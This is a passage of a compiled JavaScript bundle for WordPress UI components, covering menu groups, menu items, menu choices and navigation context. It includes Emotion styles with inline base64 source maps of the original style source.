43272 children: element
43273 });
43274 }
43275 return /* @__PURE__ */ (0, import_jsx_runtime225.jsxs)("div", {
43276 ref: target,
43277 children: [element, children]
43278 });
43279 }
43280 var keyboard_shortcuts_default = KeyboardShortcuts;
43281
43282 // packages/components/build-module/menu-group/index.mjs
43283 var import_element149 = __toESM(require_element(), 1);
43284 var import_compose60 = __toESM(require_compose(), 1);
43285 var import_jsx_runtime226 = __toESM(require_jsx_runtime(), 1);
43286 function MenuGroup3(props) {
43287 const {
43288 children,
43289 className: className2 = "",
43290 label,
43291 hideSeparator
43292 } = props;
43293 const instanceId = (0, import_compose60.useInstanceId)(MenuGroup3);
43294 if (!import_element149.Children.count(children)) {
43295 return null;
43296 }
43297 const labelId = `components-menu-group-label-${instanceId}`;
43298 const classNames = clsx_default(className2, "components-menu-group", {
43299 "has-hidden-separator": hideSeparator
43300 });
43301 return /* @__PURE__ */ (0, import_jsx_runtime226.jsxs)("div", {
43302 className: classNames,
43303 children: [label && /* @__PURE__ */ (0, import_jsx_runtime226.jsx)("div", {
43304 className: "components-menu-group__label",
43305 id: labelId,
43306 "aria-hidden": "true",
43307 children: label
43308 }), /* @__PURE__ */ (0, import_jsx_runtime226.jsx)("div", {
43309 role: "group",
43310 "aria-labelledby": label ? labelId : void 0,
43311 children
43312 })]
43313 });
43314 }
43315 var menu_group_default = MenuGroup3;
43316
43317 // packages/components/build-module/menu-item/index.mjs
43318 var import_element150 = __toESM(require_element(), 1);
43319 var import_jsx_runtime227 = __toESM(require_jsx_runtime(), 1);
43320 function UnforwardedMenuItem(props, ref) {
43321 let {
43322 children,
43323 info,
43324 className: className2,
43325 icon,
43326 iconPosition = "right",
43327 shortcut,
43328 isSelected: isSelected2,
43329 role = "menuitem",
43330 suffix,
43331 ...buttonProps
43332 } = props;
43333 className2 = clsx_default("components-menu-item__button", className2);
43334 if (info) {
43335 children = /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)("span", {
43336 className: "components-menu-item__info-wrapper",
43337 children: [/* @__PURE__ */ (0, import_jsx_runtime227.jsx)("span", {
43338 className: "components-menu-item__item",
43339 children
43340 }), /* @__PURE__ */ (0, import_jsx_runtime227.jsx)("span", {
43341 className: "components-menu-item__info",
43342 children: info
43343 })]
43344 });
43345 }
43346 if (icon && typeof icon !== "string") {
43347 icon = (0, import_element150.cloneElement)(icon, {
43348 className: clsx_default("components-menu-items__item-icon", {
43349 "has-icon-right": iconPosition === "right"
43350 })
43351 });
43352 }
43353 return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(button_default, {
43354 size: "compact",
43355 ref,
43356 "aria-checked": role === "menuitemcheckbox" || role === "menuitemradio" ? isSelected2 : void 0,
43357 role,
43358 icon: iconPosition === "left" ? icon : void 0,
43359 className: className2,
43360 accessibleWhenDisabled: true,
43361 ...buttonProps,
43362 children: [/* @__PURE__ */ (0, import_jsx_runtime227.jsx)("span", {
43363 className: "components-menu-item__item",
43364 children
43365 }), !suffix && /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(shortcut_default, {
43366 className: "components-menu-item__shortcut",
43367 shortcut
43368 }), !suffix && icon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(icon_default3, {
43369 icon
43370 }), suffix]
43371 });
43372 }
43373 var MenuItem3 = (0, import_element150.forwardRef)(UnforwardedMenuItem);
43374 MenuItem3.displayName = "MenuItem";
43375 var menu_item_default = MenuItem3;
43376
43377 // packages/components/build-module/menu-items-choice/index.mjs
43378 var import_jsx_runtime228 = __toESM(require_jsx_runtime(), 1);
43379 var noop16 = () => {
43380 };
43381 function MenuItemsChoice({
43382 choices = [],
43383 onHover = noop16,
43384 onSelect,
43385 value
43386 }) {
43387 return /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(import_jsx_runtime228.Fragment, {
43388 children: choices.map((item2) => {
43389 const isSelected2 = value === item2.value;
43390 return /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(menu_item_default, {
43391 role: "menuitemradio",
43392 disabled: item2.disabled,
43393 icon: isSelected2 ? check_default : null,
43394 info: item2.info,
43395 isSelected: isSelected2,
43396 shortcut: item2.shortcut,
43397 className: "components-menu-items-choice",
43398 onClick: () => {
43399 if (!isSelected2) {
43400 onSelect(item2.value);
43401 }
43402 },
43403 onMouseEnter: () => onHover(item2.value),
43404 onMouseLeave: () => onHover(null),
43405 "aria-label": item2["aria-label"],
43406 children: item2.label
43407 }, item2.value);
43408 })
43409 });
43410 }
43411 var menu_items_choice_default = MenuItemsChoice;
43412
43413 // packages/components/build-module/navigation/index.mjs
43414 var import_deprecated20 = __toESM(require_deprecated(), 1);
43415 var import_element154 = __toESM(require_element(), 1);
43416 var import_i18n61 = __toESM(require_i18n(), 1);
43417
43418 // packages/components/build-module/navigation/constants.mjs
43419 var ROOT_MENU = "root";
43420 var SEARCH_FOCUS_DELAY = 100;
43421
43422 // packages/components/build-module/navigation/context.mjs
43423 var import_element151 = __toESM(require_element(), 1);
43424 var noop17 = () => {
43425 };
43426 var defaultIsEmpty = () => false;
43427 var defaultGetter = () => void 0;
43428 var NavigationContext = (0, import_element151.createContext)({
43429 activeItem: void 0,
43430 activeMenu: ROOT_MENU,
43431 setActiveMenu: noop17,
43432 navigationTree: {
43433 items: {},
43434 getItem: defaultGetter,
43435 addItem: noop17,
43436 removeItem: noop17,
43437 menus: {},
43438 getMenu: defaultGetter,
43439 addMenu: noop17,
43440 removeMenu: noop17,
43441 childMenu: {},
43442 traverseMenu: noop17,
43443 isMenuEmpty: defaultIsEmpty
43444 }
43445 });
43446 NavigationContext.displayName = "NavigationContext";
43447 var useNavigationContext = () => (0, import_element151.useContext)(NavigationContext);
43448
43449 // packages/components/build-module/navigation/styles/navigation-styles.mjs
43450 var import_i18n60 = __toESM(require_i18n(), 1);
43451 function _EMOTION_STRINGIFIED_CSS_ERROR__34() {
43452 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
43453 }
43454 var NavigationUI = /* @__PURE__ */ createStyled("div", false ? {
43455 target: "eeiismy11"
43456 } : {
43457 target: "eeiismy11",
43458 label: "NavigationUI"
43459 })("width:100%;box-sizing:border-box;padding:0 ", space(4), ";overflow:hidden;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQnNDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */"));
43460 var MenuUI = /* @__PURE__ */ createStyled("div", false ? {
43461 target: "eeiismy10"
43462 } : {
43463 target: "eeiismy10",
43464 label: "MenuUI"
43465 })("margin-top:", space(6), ";margin-bottom:", space(6), ";display:flex;flex-direction:column;ul{padding:0;margin:0;list-style:none;}.components-navigation__back-button{margin-bottom:", space(6), ";}.components-navigation__group+.components-navigation__group{margin-top:", space(6), ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQmdDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhb